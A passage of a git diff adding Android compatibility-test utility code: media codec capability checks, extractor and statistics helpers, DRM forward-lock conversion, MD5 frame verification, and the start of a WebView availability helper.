+        String[] codecs = getCodecNames(isEncoder, isGoog, formats);
+        assertTrue("test can only verify " + count + " " + desc + "; found " + codecs.length + ": "
+                + Arrays.toString(codecs), codecs.length <= count);
+    }
+
+    public static MediaCodec getDecoder(MediaFormat format) {
+        String decoder = sMCL.findDecoderForFormat(format);
+        if (decoder != null) {
+            try {
+                return MediaCodec.createByCodecName(decoder);
+            } catch (IOException e) {
+            }
+        }
+        return null;
+    }
+
+    public static boolean canEncode(MediaFormat format) {
+        if (sMCL.findEncoderForFormat(format) == null) {
+            Log.i(TAG, "no encoder for " + format);
+            return false;
+        }
+        return true;
+    }
+
+    public static boolean canDecode(MediaFormat format) {
+        if (sMCL.findDecoderForFormat(format) == null) {
+            Log.i(TAG, "no decoder for " + format);
+            return false;
+        }
+        return true;
+    }
+
+    public static boolean supports(String codecName, String mime, int w, int h) {
+        // While this could be simply written as such, give more graceful feedback.
+        // MediaFormat format = MediaFormat.createVideoFormat(mime, w, h);
+        // return supports(codecName, format);
+
+        VideoCapabilities vidCap = getVideoCapabilities(codecName, mime);
+        if (vidCap == null) {
+            return false;
+        } else if (vidCap.isSizeSupported(w, h)) {
+            return true;
+        }
+
+        Log.w(TAG, "unsupported size " + w + "x" + h);
+        return false;
+    }
+
+    public static boolean supports(String codecName, MediaFormat format) {
+        MediaCodec codec;
+        try {
+            codec = MediaCodec.createByCodecName(codecName);
+        } catch (IOException e) {
+            Log.w(TAG, "codec not found: " + codecName);
+            return false;
+        }
+
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        CodecCapabilities cap = null;
+        try {
+            cap = codec.getCodecInfo().getCapabilitiesForType(mime);
+            return cap.isFormatSupported(format);
+        } catch (IllegalArgumentException e) {
+            Log.w(TAG, "not supported mime: " + mime);
+            return false;
+        } finally {
+            codec.release();
+        }
+    }
+
+    public static boolean hasCodecForTrack(MediaExtractor ex, int track) {
+        int count = ex.getTrackCount();
+        if (track < 0 || track >= count) {
+            throw new IndexOutOfBoundsException(track + " not in [0.." + (count - 1) + "]");
+        }
+        return canDecode(ex.getTrackFormat(track));
+    }
+
+    /**
+     * return true iff all audio and video tracks are supported
+     */
+    public static boolean hasCodecsForMedia(MediaExtractor ex) {
+        for (int i = 0; i < ex.getTrackCount(); ++i) {
+            MediaFormat format = ex.getTrackFormat(i);
+            // only check for audio and video codecs
+            String mime = format.getString(MediaFormat.KEY_MIME).toLowerCase();
+            if (!mime.startsWith("audio/") && !mime.startsWith("video/")) {
+                continue;
+            }
+            if (!canDecode(format)) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * return true iff any track starting with mimePrefix is supported
+     */
+    public static boolean hasCodecForMediaAndDomain(MediaExtractor ex, String mimePrefix) {
+        mimePrefix = mimePrefix.toLowerCase();
+        for (int i = 0; i < ex.getTrackCount(); ++i) {
+            MediaFormat format = ex.getTrackFormat(i);
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            if (mime.toLowerCase().startsWith(mimePrefix)) {
+                if (canDecode(format)) {
+                    return true;
+                }
+                Log.i(TAG, "no decoder for " + format);
+            }
+        }
+        return false;
+    }
+
+    private static boolean hasCodecsForResourceCombo(
+            Context context, int resourceId, int track, String mimePrefix) {
+        try {
+            AssetFileDescriptor afd = null;
+            MediaExtractor ex = null;
+            try {
+                afd = context.getResources().openRawResourceFd(resourceId);
+                ex = new MediaExtractor();
+                ex.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+                if (mimePrefix != null) {
+                    return hasCodecForMediaAndDomain(ex, mimePrefix);
+                } else if (track == ALL_AV_TRACKS) {
+                    return hasCodecsForMedia(ex);
+                } else {
+                    return hasCodecForTrack(ex, track);
+                }
+            } finally {
+                if (ex != null) {
+                    ex.release();
+                }
+                if (afd != null) {
+                    afd.close();
+                }
+            }
+        } catch (IOException e) {
+            Log.i(TAG, "could not open resource");
+        }
+        return false;
+    }
+
+    /**
+     * return true iff all audio and video tracks are supported
+     */
+    public static boolean hasCodecsForResource(Context context, int resourceId) {
+        return hasCodecsForResourceCombo(context, resourceId, ALL_AV_TRACKS, null /* mimePrefix */);
+    }
+
+    public static boolean checkCodecsForResource(Context context, int resourceId) {
+        return check(hasCodecsForResource(context, resourceId), "no decoder found");
+    }
+
+    /**
+     * return true iff track is supported.
+     */
+    public static boolean hasCodecForResource(Context context, int resourceId, int track) {
+        return hasCodecsForResourceCombo(context, resourceId, track, null /* mimePrefix */);
+    }
+
+    public static boolean checkCodecForResource(Context context, int resourceId, int track) {
+        return check(hasCodecForResource(context, resourceId, track), "no decoder found");
+    }
+
+    /**
+     * return true iff any track starting with mimePrefix is supported
+     */
+    public static boolean hasCodecForResourceAndDomain(
+            Context context, int resourceId, String mimePrefix) {
+        return hasCodecsForResourceCombo(context, resourceId, ALL_AV_TRACKS, mimePrefix);
+    }
+
+    /**
+     * return true iff all audio and video tracks are supported
+     */
+    public static boolean hasCodecsForPath(Context context, String path) {
+        MediaExtractor ex = null;
+        try {
+            ex = getExtractorForPath(context, path);
+            return hasCodecsForMedia(ex);
+        } catch (IOException e) {
+            Log.i(TAG, "could not open path " + path);
+        } finally {
+            if (ex != null) {
+                ex.release();
+            }
+        }
+        return true;
+    }
+
+    private static MediaExtractor getExtractorForPath(Context context, String path)
+            throws IOException {
+        Uri uri = Uri.parse(path);
+        String scheme = uri.getScheme();
+        MediaExtractor ex = new MediaExtractor();
+        try {
+            if (scheme == null) { // file
+                ex.setDataSource(path);
+            } else if (scheme.equalsIgnoreCase("file")) {
+                ex.setDataSource(uri.getPath());
+            } else {
+                ex.setDataSource(context, uri, null);
+            }
+        } catch (IOException e) {
+            ex.release();
+            throw e;
+        }
+        return ex;
+    }
+
+    public static boolean checkCodecsForPath(Context context, String path) {
+        return check(hasCodecsForPath(context, path), "no decoder found");
+    }
+
+    public static boolean hasCodecForDomain(boolean encoder, String domain) {
+        for (MediaCodecInfo info : sMCL.getCodecInfos()) {
+            if (encoder != info.isEncoder()) {
+                continue;
+            }
+
+            for (String type : info.getSupportedTypes()) {
+                if (type.toLowerCase().startsWith(domain.toLowerCase() + "/")) {
+                    Log.i(TAG, "found codec " + info.getName() + " for mime " + type);
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    public static boolean checkCodecForDomain(boolean encoder, String domain) {
+        return check(hasCodecForDomain(encoder, domain),
+                "no " + domain + (encoder ? " encoder" : " decoder") + " found");
+    }
+
+    private static boolean hasCodecForMime(boolean encoder, String mime) {
+        for (MediaCodecInfo info : sMCL.getCodecInfos()) {
+            if (encoder != info.isEncoder()) {
+                continue;
+            }
+
+            for (String type : info.getSupportedTypes()) {
+                if (type.equalsIgnoreCase(mime)) {
+                    Log.i(TAG, "found codec " + info.getName() + " for mime " + mime);
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    private static boolean hasCodecForMimes(boolean encoder, String[] mimes) {
+        for (String mime : mimes) {
+            if (!hasCodecForMime(encoder, mime)) {
+                Log.i(TAG, "no " + (encoder ? "encoder" : "decoder") + " for mime " + mime);
+                return false;
+            }
+        }
+        return true;
+    }
+
+
+    public static boolean hasEncoder(String... mimes) {
+        return hasCodecForMimes(true /* encoder */, mimes);
+    }
+
+    public static boolean hasDecoder(String... mimes) {
+        return hasCodecForMimes(false /* encoder */, mimes);
+    }
+
+    public static boolean checkDecoder(String... mimes) {
+        return check(hasCodecForMimes(false /* encoder */, mimes), "no decoder found");
+    }
+
+    public static boolean checkEncoder(String... mimes) {
+        return check(hasCodecForMimes(true /* encoder */, mimes), "no encoder found");
+    }
+
+    public static boolean canDecodeVideo(String mime, int width, int height, float rate) {
+        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
+        format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
+        return canDecode(format);
+    }
+
+    public static boolean canDecodeVideo(
+            String mime, int width, int height, float rate,
+            Integer profile, Integer level, Integer bitrate) {
+        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
+        format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
+        if (profile != null) {
+            format.setInteger(MediaFormat.KEY_PROFILE, profile);
+            if (level != null) {
+                format.setInteger(MediaFormat.KEY_LEVEL, level);
+            }
+        }
+        if (bitrate != null) {
+            format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+        }
+        return canDecode(format);
+    }
+
+    public static boolean checkEncoderForFormat(MediaFormat format) {
+        return check(canEncode(format), "no encoder for " + format);
+    }
+
+    public static boolean checkDecoderForFormat(MediaFormat format) {
+        return check(canDecode(format), "no decoder for " + format);
+    }
+
+    /*
+     *  ----------------------- HELPER METHODS FOR MEDIA HANDLING -----------------------
+     */
+
+    public static VideoCapabilities getVideoCapabilities(String codecName, String mime) {
+        for (MediaCodecInfo info : sMCL.getCodecInfos()) {
+            if (!info.getName().equalsIgnoreCase(codecName)) {
+                continue;
+            }
+            CodecCapabilities caps;
+            try {
+                caps = info.getCapabilitiesForType(mime);
+            } catch (IllegalArgumentException e) {
+                // mime is not supported
+                Log.w(TAG, "not supported mime: " + mime);
+                return null;
+            }
+            VideoCapabilities vidCaps = caps.getVideoCapabilities();
+            if (vidCaps == null) {
+                Log.w(TAG, "not a video codec: " + codecName);
+            }
+            return vidCaps;
+        }
+        Log.w(TAG, "codec not found: " + codecName);
+        return null;
+    }
+
+    public static MediaFormat getTrackFormatForResource(
+            Context context,
+            int resourceId,
+            String mimeTypePrefix) throws IOException {
+        MediaExtractor extractor = new MediaExtractor();
+        AssetFileDescriptor afd = context.getResources().openRawResourceFd(resourceId);
+        try {
+            extractor.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        } finally {
+            afd.close();
+        }
+        return getTrackFormatForExtractor(extractor, mimeTypePrefix);
+    }
+
+    public static MediaFormat getTrackFormatForPath(
+            Context context, String path, String mimeTypePrefix)
+            throws IOException {
+      MediaExtractor extractor = getExtractorForPath(context, path);
+      return getTrackFormatForExtractor(extractor, mimeTypePrefix);
+    }
+
+    private static MediaFormat getTrackFormatForExtractor(
+            MediaExtractor extractor,
+            String mimeTypePrefix) {
+      int trackIndex;
+      MediaFormat format = null;
+      for (trackIndex = 0; trackIndex < extractor.getTrackCount(); trackIndex++) {
+          MediaFormat trackMediaFormat = extractor.getTrackFormat(trackIndex);
+          if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
+              format = trackMediaFormat;
+              break;
+          }
+      }
+      extractor.release();
+      if (format == null) {
+          throw new RuntimeException("couldn't get a track for " + mimeTypePrefix);
+      }
+
+      return format;
+    }
+
+    public static MediaExtractor createMediaExtractorForMimeType(
+            Context context, int resourceId, String mimeTypePrefix)
+            throws IOException {
+        MediaExtractor extractor = new MediaExtractor();
+        AssetFileDescriptor afd = context.getResources().openRawResourceFd(resourceId);
+        try {
+            extractor.setDataSource(
+                    afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        } finally {
+            afd.close();
+        }
+        int trackIndex;
+        for (trackIndex = 0; trackIndex < extractor.getTrackCount(); trackIndex++) {
+            MediaFormat trackMediaFormat = extractor.getTrackFormat(trackIndex);
+            if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
+                extractor.selectTrack(trackIndex);
+                break;
+            }
+        }
+        if (trackIndex == extractor.getTrackCount()) {
+            extractor.release();
+            throw new IllegalStateException("couldn't get a track for " + mimeTypePrefix);
+        }
+
+        return extractor;
+    }
+
+    /*
+     *  ---------------------- HELPER METHODS FOR CODEC CONFIGURATION
+     */
+
+    /** Format must contain mime, width and height.
+     *  Throws Exception if encoder does not support this width and height */
+    public static void setMaxEncoderFrameAndBitrates(
+            MediaCodec encoder, MediaFormat format, int maxFps) {
+        String mime = format.getString(MediaFormat.KEY_MIME);
+
+        VideoCapabilities vidCaps =
+            encoder.getCodecInfo().getCapabilitiesForType(mime).getVideoCapabilities();
+        setMaxEncoderFrameAndBitrates(vidCaps, format, maxFps);
+    }
+
+    public static void setMaxEncoderFrameAndBitrates(
+            VideoCapabilities vidCaps, MediaFormat format, int maxFps) {
+        int width = format.getInteger(MediaFormat.KEY_WIDTH);
+        int height = format.getInteger(MediaFormat.KEY_HEIGHT);
+
+        int maxWidth = vidCaps.getSupportedWidths().getUpper();
+        int maxHeight = vidCaps.getSupportedHeightsFor(maxWidth).getUpper();
+        int frameRate = Math.min(
+                maxFps, vidCaps.getSupportedFrameRatesFor(width, height).getUpper().intValue());
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, frameRate);
+
+        int bitrate = vidCaps.getBitrateRange().clamp(
+            (int)(vidCaps.getBitrateRange().getUpper() /
+                  Math.sqrt((double)maxWidth * maxHeight / width / height)));
+        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+    }
+
+    /*
+     *  ------------------ HELPER METHODS FOR STATISTICS AND REPORTING ------------------
+     */
+
+    // TODO: migrate this into com.android.compatibility.common.util.Stat
+    public static class Stats {
+        /** does not support NaN or Inf in |data| */
+        public Stats(double[] data) {
+            mData = data;
+            if (mData != null) {
+                mNum = mData.length;
+            }
+        }
+
+        public int getNum() {
+            return mNum;
+        }
+
+        /** calculate mSumX and mSumXX */
+        private void analyze() {
+            if (mAnalyzed) {
+                return;
+            }
+
+            if (mData != null) {
+                for (double x : mData) {
+                    if (!(x >= mMinX)) { // mMinX may be NaN
+                        mMinX = x;
+                    }
+                    if (!(x <= mMaxX)) { // mMaxX may be NaN
+                        mMaxX = x;
+                    }
+                    mSumX += x;
+                    mSumXX += x * x;
+                }
+            }
+            mAnalyzed = true;
+        }
+
+        /** returns the maximum or NaN if it does not exist */
+        public double getMin() {
+            analyze();
+            return mMinX;
+        }
+
+        /** returns the minimum or NaN if it does not exist */
+        public double getMax() {
+            analyze();
+            return mMaxX;
+        }
+
+        /** returns the average or NaN if it does not exist. */
+        public double getAverage() {
+            analyze();
+            if (mNum == 0) {
+                return Double.NaN;
+            } else {
+                return mSumX / mNum;
+            }
+        }
+
+        /** returns the standard deviation or NaN if it does not exist. */
+        public double getStdev() {
+            analyze();
+            if (mNum == 0) {
+                return Double.NaN;
+            } else {
+                double average = mSumX / mNum;
+                return Math.sqrt(mSumXX / mNum - average * average);
+            }
+        }
+
+        /** returns the statistics for the moving average over n values */
+        public Stats movingAverage(int n) {
+            if (n < 1 || mNum < n) {
+                return new Stats(null);
+            } else if (n == 1) {
+                return this;
+            }
+
+            double[] avgs = new double[mNum - n + 1];
+            double sum = 0;
+            for (int i = 0; i < mNum; ++i) {
+                sum += mData[i];
+                if (i >= n - 1) {
+                    avgs[i - n + 1] = sum / n;
+                    sum -= mData[i - n + 1];
+                }
+            }
+            return new Stats(avgs);
+        }
+
+        /** returns the statistics for the moving average over a window over the
+         *  cumulative sum. Basically, moves a window from: [0, window] to
+         *  [sum - window, sum] over the cumulative sum, over ((sum - window) / average)
+         *  steps, and returns the average value over each window.
+         *  This method is used to average time-diff data over a window of a constant time.
+         */
+        public Stats movingAverageOverSum(double window) {
+            if (window <= 0 || mNum < 1) {
+                return new Stats(null);
+            }
+
+            analyze();
+            double average = mSumX / mNum;
+            if (window >= mSumX) {
+                return new Stats(new double[] { average });
+            }
+            int samples = (int)Math.ceil((mSumX - window) / average);
+            double[] avgs = new double[samples];
+
+            // A somewhat brute force approach to calculating the moving average.
+            // TODO: add support for weights in Stats, so we can do a more refined approach.
+            double sum = 0; // sum of elements in the window
+            int num = 0; // number of elements in the moving window
+            int bi = 0; // index of the first element in the moving window
+            int ei = 0; // index of the last element in the moving window
+            double space = window; // space at the end of the window
+            double foot = 0; // space at the beginning of the window
+
+            // invariants: foot + sum + space == window
+            //             bi + num == ei
+            //
+            //  window:             |-------------------------------|
+            //                      |    <-----sum------>           |
+            //                      <foot>               <---space-->
+            //                           |               |
+            //  intervals:   |-----------|-------|-------|--------------------|--------|
+            //                           ^bi             ^ei
+
+            int ix = 0; // index in the result
+            while (ix < samples) {
+                // add intervals while there is space in the window
+                while (ei < mData.length && mData[ei] <= space) {
+                    space -= mData[ei];
+                    sum += mData[ei];
+                    num++;
+                    ei++;
+                }
+
+                // calculate average over window and deal with odds and ends (e.g. if there are no
+                // intervals in the current window: pick whichever element overlaps the window
+                // most.
+                if (num > 0) {
+                    avgs[ix++] = sum / num;
+                } else if (bi > 0 && foot > space) {
+                    // consider previous
+                    avgs[ix++] = mData[bi - 1];
+                } else if (ei == mData.length) {
+                    break;
+                } else {
+                    avgs[ix++] = mData[ei];
+                }
+
+                // move the window to the next position
+                foot -= average;
+                space += average;
+
+                // remove intervals that are now partially or wholly outside of the window
+                while (bi < ei && foot < 0) {
+                    foot += mData[bi];
+                    sum -= mData[bi];
+                    num--;
+                    bi++;
+                }
+            }
+            return new Stats(Arrays.copyOf(avgs, ix));
+        }
+
+        /** calculate mSortedData */
+        private void sort() {
+            if (mSorted || mNum == 0) {
+                return;
+            }
+            mSortedData = Arrays.copyOf(mData, mNum);
+            Arrays.sort(mSortedData);
+            mSorted = true;
+        }
+
+        /** returns an array of percentiles for the points using nearest rank */
+        public double[] getPercentiles(double... points) {
+            sort();
+            double[] res = new double[points.length];
+            for (int i = 0; i < points.length; ++i) {
+                if (mNum < 1 || points[i] < 0 || points[i] > 100) {
+                    res[i] = Double.NaN;
+                } else {
+                    res[i] = mSortedData[(int)Math.round(points[i] / 100 * (mNum - 1))];
+                }
+            }
+            return res;
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (o instanceof Stats) {
+                Stats other = (Stats)o;
+                if (other.mNum != mNum) {
+                    return false;
+                } else if (mNum == 0) {
+                    return true;
+                }
+                return Arrays.equals(mData, other.mData);
+            }
+            return false;
+        }
+
+        private double[] mData;
+        private double mSumX = 0;
+        private double mSumXX = 0;
+        private double mMinX = Double.NaN;
+        private double mMaxX = Double.NaN;
+        private int mNum = 0;
+        private boolean mAnalyzed = false;
+        private double[] mSortedData;
+        private boolean mSorted = false;
+    }
+
+    /**
+     * Convert a forward lock .dm message stream to a .fl file
+     * @param context Context to use
+     * @param dmStream The .dm message
+     * @param flFile The output file to be written
+     * @return success
+     */
+    public static boolean convertDmToFl(
+            Context context,
+            InputStream dmStream,
+            RandomAccessFile flFile) {
+        final String MIMETYPE_DRM_MESSAGE = "application/vnd.oma.drm.message";
+        byte[] dmData = new byte[10000];
+        int totalRead = 0;
+        int numRead;
+        while (true) {
+            try {
+                numRead = dmStream.read(dmData, totalRead, dmData.length - totalRead);
+            } catch (IOException e) {
+                Log.w(TAG, "Failed to read from input file");
+                return false;
+            }
+            if (numRead == -1) {
+                break;
+            }
+            totalRead += numRead;
+            if (totalRead == dmData.length) {
+                // grow array
+                dmData = Arrays.copyOf(dmData, dmData.length + 10000);
+            }
+        }
+        byte[] fileData = Arrays.copyOf(dmData, totalRead);
+
+        DrmManagerClient drmClient = null;
+        try {
+            drmClient = new DrmManagerClient(context);
+        } catch (IllegalArgumentException e) {
+            Log.w(TAG, "DrmManagerClient instance could not be created, context is Illegal.");
+            return false;
+        } catch (IllegalStateException e) {
+            Log.w(TAG, "DrmManagerClient didn't initialize properly.");
+            return false;
+        }
+
+        try {
+            int convertSessionId = -1;
+            try {
+                convertSessionId = drmClient.openConvertSession(MIMETYPE_DRM_MESSAGE);
+            } catch (IllegalArgumentException e) {
+                Log.w(TAG, "Conversion of Mimetype: " + MIMETYPE_DRM_MESSAGE
+                        + " is not supported.", e);
+                return false;
+            } catch (IllegalStateException e) {
+                Log.w(TAG, "Could not access Open DrmFramework.", e);
+                return false;
+            }
+
+            if (convertSessionId < 0) {
+                Log.w(TAG, "Failed to open session.");
+                return false;
+            }
+
+            DrmConvertedStatus convertedStatus = null;
+            try {
+                convertedStatus = drmClient.convertData(convertSessionId, fileData);
+            } catch (IllegalArgumentException e) {
+                Log.w(TAG, "Buffer with data to convert is illegal. Convertsession: "
+                        + convertSessionId, e);
+                return false;
+            } catch (IllegalStateException e) {
+                Log.w(TAG, "Could not convert data. Convertsession: " + convertSessionId, e);
+                return false;
+            }
+
+            if (convertedStatus == null ||
+                    convertedStatus.statusCode != DrmConvertedStatus.STATUS_OK ||
+                    convertedStatus.convertedData == null) {
+                Log.w(TAG, "Error in converting data. Convertsession: " + convertSessionId);
+                try {
+                    DrmConvertedStatus result = drmClient.closeConvertSession(convertSessionId);
+                    if (result.statusCode != DrmConvertedStatus.STATUS_OK) {
+                        Log.w(TAG, "Conversion failed with status: " + result.statusCode);
+                        return false;
+                    }
+                } catch (IllegalStateException e) {
+                    Log.w(TAG, "Could not close session. Convertsession: " +
+                           convertSessionId, e);
+                }
+                return false;
+            }
+
+            try {
+                flFile.write(convertedStatus.convertedData, 0, convertedStatus.convertedData.length);
+            } catch (IOException e) {
+                Log.w(TAG, "Failed to write to output file: " + e);
+                return false;
+            }
+
+            try {
+                convertedStatus = drmClient.closeConvertSession(convertSessionId);
+            } catch (IllegalStateException e) {
+                Log.w(TAG, "Could not close convertsession. Convertsession: " +
+                        convertSessionId, e);
+                return false;
+            }
+
+            if (convertedStatus == null ||
+                    convertedStatus.statusCode != DrmConvertedStatus.STATUS_OK ||
+                    convertedStatus.convertedData == null) {
+                Log.w(TAG, "Error in closing session. Convertsession: " + convertSessionId);
+                return false;
+            }
+
+            try {
+                flFile.seek(convertedStatus.offset);
+                flFile.write(convertedStatus.convertedData);
+            } catch (IOException e) {
+                Log.w(TAG, "Could not update file.", e);
+                return false;
+            }
+
+            return true;
+        } finally {
+            drmClient.close();
+        }
+    }
+
+    /**
+     * @param decoder new MediaCodec object
+     * @param ex MediaExtractor after setDataSource and selectTrack
+     * @param frameMD5Sums reference MD5 checksum for decoded frames
+     * @return true if decoded frames checksums matches reference checksums
+     * @throws IOException
+     */
+    public static boolean verifyDecoder(
+            MediaCodec decoder, MediaExtractor ex, List<String> frameMD5Sums)
+            throws IOException {
+
+        int trackIndex = ex.getSampleTrackIndex();
+        MediaFormat format = ex.getTrackFormat(trackIndex);
+        decoder.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
+        decoder.start();
+
+        boolean sawInputEOS = false;
+        boolean sawOutputEOS = false;
+        final long kTimeOutUs = 5000; // 5ms timeout
+        int decodedFrameCount = 0;
+        int expectedFrameCount = frameMD5Sums.size();
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+
+        while (!sawOutputEOS) {
+            // handle input
+            if (!sawInputEOS) {
+                int inIdx = decoder.dequeueInputBuffer(kTimeOutUs);
+                if (inIdx >= 0) {
+                    ByteBuffer buffer = decoder.getInputBuffer(inIdx);
+                    int sampleSize = ex.readSampleData(buffer, 0);
+                    if (sampleSize < 0) {
+                        final int flagEOS = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                        decoder.queueInputBuffer(inIdx, 0, 0, 0, flagEOS);
+                        sawInputEOS = true;
+                    } else {
+                        decoder.queueInputBuffer(inIdx, 0, sampleSize, ex.getSampleTime(), 0);
+                        ex.advance();
+                    }
+                }
+            }
+
+            // handle output
+            int outputBufIndex = decoder.dequeueOutputBuffer(info, kTimeOutUs);
+            if (outputBufIndex >= 0) {
+                try {
+                    if (info.size > 0) {
+                        // Disregard 0-sized buffers at the end.
+                        String md5CheckSum = "";
+                        Image image = decoder.getOutputImage(outputBufIndex);
+                        md5CheckSum = getImageMD5Checksum(image);
+
+                        if (!md5CheckSum.equals(frameMD5Sums.get(decodedFrameCount))) {
+                            Log.d(TAG,
+                                    String.format(
+                                            "Frame %d md5sum mismatch: %s(actual) vs %s(expected)",
+                                            decodedFrameCount, md5CheckSum,
+                                            frameMD5Sums.get(decodedFrameCount)));
+                            return false;
+                        }
+
+                        decodedFrameCount++;
+                    }
+                } catch (Exception e) {
+                    Log.e(TAG, "getOutputImage md5CheckSum failed", e);
+                    return false;
+                } finally {
+                    decoder.releaseOutputBuffer(outputBufIndex, false /* render */);
+                }
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    sawOutputEOS = true;
+                }
+            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                MediaFormat decOutputFormat = decoder.getOutputFormat();
+                Log.d(TAG, "output format " + decOutputFormat);
+            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                Log.i(TAG, "Skip handling MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED");
+            } else if (outputBufIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                continue;
+            } else {
+                Log.w(TAG, "decoder.dequeueOutputBuffer() unrecognized index: " + outputBufIndex);
+                return false;
+            }
+        }
+
+        if (decodedFrameCount != expectedFrameCount) {
+            return false;
+        }
+
+        return true;
+    }
+
+    public static String getImageMD5Checksum(Image image) throws Exception {
+        int format = image.getFormat();
+        if (ImageFormat.YUV_420_888 != format) {
+            Log.w(TAG, "unsupported image format");
+            return "";
+        }
+
+        MessageDigest md = MessageDigest.getInstance("MD5");
+
+        int imageWidth = image.getWidth();
+        int imageHeight = image.getHeight();
+
+        Image.Plane[] planes = image.getPlanes();
+        for (int i = 0; i < planes.length; ++i) {
+            ByteBuffer buf = planes[i].getBuffer();
+
+            int width, height, rowStride, pixelStride, x, y;
+            rowStride = planes[i].getRowStride();
+            pixelStride = planes[i].getPixelStride();
+            if (i == 0) {
+                width = imageWidth;
+                height = imageHeight;
+            } else {
+                width = imageWidth / 2;
+                height = imageHeight /2;
+            }
+            // local contiguous pixel buffer
+            byte[] bb = new byte[width * height];
+            if (buf.hasArray()) {
+                byte b[] = buf.array();
+                int offs = buf.arrayOffset();
+                if (pixelStride == 1) {
+                    for (y = 0; y < height; ++y) {
+                        System.arraycopy(bb, y * width, b, y * rowStride + offs, width);
+                    }
+                } else {
+                    // do it pixel-by-pixel
+                    for (y = 0; y < height; ++y) {
+                        int lineOffset = offs + y * rowStride;
+                        for (x = 0; x < width; ++x) {
+                            bb[y * width + x] = b[lineOffset + x * pixelStride];
+                        }
+                    }
+                }
+            } else { // almost always ends up here due to direct buffers
+                int pos = buf.position();
+                if (pixelStride == 1) {
+                    for (y = 0; y < height; ++y) {
+                        buf.position(pos + y * rowStride);
+                        buf.get(bb, y * width, width);
+                    }
+                } else {
+                    // local line buffer
+                    byte[] lb = new byte[rowStride];
+                    // do it pixel-by-pixel
+                    for (y = 0; y < height; ++y) {
+                        buf.position(pos + y * rowStride);
+                        // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
+                        buf.get(lb, 0, pixelStride * (width - 1) + 1);
+                        for (x = 0; x < width; ++x) {
+                            bb[y * width + x] = lb[x * pixelStride];
+                        }
+                    }
+                }
+                buf.position(pos);
+            }
+            md.update(bb, 0, width * height);
+        }
+
+        return convertByteArrayToHEXString(md.digest());
+    }
+
+    private static String convertByteArrayToHEXString(byte[] ba) throws Exception {
+        StringBuilder result = new StringBuilder();
+        for (int i = 0; i < ba.length; i++) {
+            result.append(Integer.toString((ba[i] & 0xff) + 0x100, 16).substring(1));
+        }
+        return result.toString();
+    }
+
+
+    /*
+     *  -------------------------------------- END --------------------------------------
+     */
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/NullWebViewUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/NullWebViewUtils.java
new file mode 100644
index 0000000..3153adb
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/NullWebViewUtils.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+/**
+ * Utilities to enable the android.webkit.* CTS tests (and others that rely on a functioning
+ * android.webkit.WebView implementation) to determine whether a functioning WebView is present
+ * on the device or not.
+ *
+ * Test cases that require android.webkit.* classes should wrap their first usage of WebView in a
+ * try catch block, and pass any exception that is thrown to
+ * NullWebViewUtils.determineIfWebViewAvailable. The return value of
+ * NullWebViewUtils.isWebViewAvailable will then determine if the test should expect to be able to
+ * use a WebView.
+ */
+public class NullWebViewUtils {
+
+    private static boolean sWebViewUnavailable;
+
+    /**
+     * @param context Current Activity context, used to query the PackageManager.
+     * @param t       An exception thrown by trying to invoke android.webkit.* APIs.
+     */
+    public static void determineIfWebViewAvailable(Context context, Throwable t) {
+        sWebViewUnavailable = !hasWebViewFeature(context) && checkCauseWasUnsupportedOperation(t);
+    }
+
+    /**
+     * After calling determineIfWebViewAvailable, this returns whether a WebView is available on the
+     * device and wheter the test can rely on it.
+     * @return True iff. PackageManager determined that there is no WebView on the device and the
+     *         exception thrown from android.webkit.* was UnsupportedOperationException.
+     */
+    public static boolean isWebViewAvailable() {
+        return !sWebViewUnavailable;
+    }
+
+    private static boolean hasWebViewFeature(Context context) {
+        // Query the system property that determins if there is a functional WebView on the device.
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_WEBVIEW);
+    }
+
+    private static boolean checkCauseWasUnsupportedOperation(Throwable t) {
+        if (t == null) return false;
+        while (t.getCause() != null) {
+            t = t.getCause();
+        }
+        return t instanceof UnsupportedOperationException;
+    }
+
+    /**
+     * Some CTS tests (by design) first use android.webkit.* from a background thread. This helper
+     * allows the test to catch the UnsupportedOperationException from that background thread, and
+     * then query the result from the test main thread.
+     */
+    public static class NullWebViewFromThreadExceptionHandler
